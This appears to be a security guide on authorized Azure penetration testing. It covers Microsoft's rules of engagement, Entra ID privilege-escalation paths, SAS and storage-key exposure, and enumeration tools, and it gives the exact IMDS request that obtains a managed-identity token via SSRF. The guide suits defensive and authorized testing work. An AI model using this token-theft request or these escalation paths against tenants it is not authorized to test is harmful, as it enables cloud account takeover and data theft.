Azure penetration testing centers on identity, not network perimeter. Microsoft lets you test your own Azure subscriptions without pre-authorization as long as you stay within the Microsoft Cloud Unified Penetration Testing Rules of Engagement, so the gating factor is what you target, not a permission form. The richest target is Entra ID (the service Microsoft renamed from Azure AD), because a single over-privileged service principal or a managed identity token can unravel an entire tenant.
This guide walks through Microsoft's rules, the Entra ID and managed-identity attack paths, the IMDS SSRF pivot specific to Azure, storage SAS abuse, and the tools (ROADtools, AzureHound, Stormspotter, ScoutSuite) that map and exploit this surface. Written authorization from the subscription owner is assumed throughout.
Microsoft does not require advance notice to penetration test resources in your own Azure subscription, but you must operate under the Microsoft Cloud Unified Penetration Testing Rules of Engagement. You test what you own: your VMs, app services, storage accounts, functions, and your Entra ID tenant configuration. You do not test Microsoft's shared infrastructure or other customers' data.
Prohibited activity mirrors other providers: no denial-of-service or DDoS testing, no excessive automated traffic that degrades shared services, no phishing of Microsoft employees, and no attempts to access another tenant. The rules of engagement spell out the boundaries; read them before scoping. Because the shared-responsibility split shifts the focus from network to identity, this is closer in spirit to defending against Active Directory attacks than to a classic external test.
Entra ID is the identity and access plane for Azure and Microsoft 365, so compromising it compromises everything tied to it. After initial access, enumerate users, groups, directory roles, and especially service principals and app registrations. Over-privileged service principals with credentials that never expire, applications granted broad Microsoft Graph application permissions (like RoleManagement.ReadWrite.Directory), and illicit consent grants are the high-value findings.
Look for dangerous role assignments such as Global Administrator, Privileged Role Administrator, and Application Administrator (which can add credentials to existing service principals and inherit their permissions). Conditional Access gaps, legacy authentication still enabled, and users without MFA broaden the attack surface. Map all of this with AzureHound or ROADtools before you act.
Managed identities let an Azure resource authenticate without stored secrets, and you reach their tokens through the Azure Instance Metadata Service. From a compromised VM or via SSRF, request http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ with the header Metadata: true. The response is a bearer token for the resource's managed identity, which you then use against Azure Resource Manager or Microsoft Graph.
The required Metadata: true header is itself a partial defense, since simple SSRF primitives that cannot set custom headers will fail. But many application SSRF bugs can set headers, so do not assume safety. The blast radius equals whatever Azure RBAC roles the managed identity holds, which is why right-sizing those roles matters as much as fixing the SSRF. This pivot parallels the AWS metadata attack in our AWS penetration testing guide.
Azure Storage exposure usually comes from leaked SAS tokens, leaked account keys, or anonymous public blob access. A Shared Access Signature (SAS) is a signed URL granting scoped access to blobs, files, queues, or tables. When SAS URLs leak into source code, CI logs, mobile apps, or browser history, anyone holding them gets whatever the signature permits until it expires (and account-level SAS can be hard to revoke without rotating the key).
Check for storage accounts with anonymous blob access enabled, overly long SAS expiry windows, account keys hardcoded in app settings, and containers set to public read. Storage account keys are especially dangerous because they grant full control of the account and rotating them breaks every consumer, so teams avoid rotation. Enumerate accessible blobs and confirm whether you can read or write.
Split the toolchain into identity mapping, subscription graphing, and posture scanning. For Entra ID, ROADtools (roadrecon) dumps the directory into a queryable database and AzureHound feeds Entra and Azure RBAC relationships into BloodHound so you can find attack paths to Global Admin. Stormspotter builds an attack graph of subscription resources and their relationships.
For misconfiguration posture, ScoutSuite and Prowler both support Azure and surface public storage, weak network security groups, and disabled logging. MicroBurst (PowerShell) is handy for storage and credential hunting. Methodology: enumerate the tenant and subscriptions, map identity and RBAC, hunt managed-identity and SSRF pivots, then chase storage and key exposure. Doing this continuously rather than annually is the case for agentic, continuous pentesting, and you should fold results into a cloud security posture checklist.
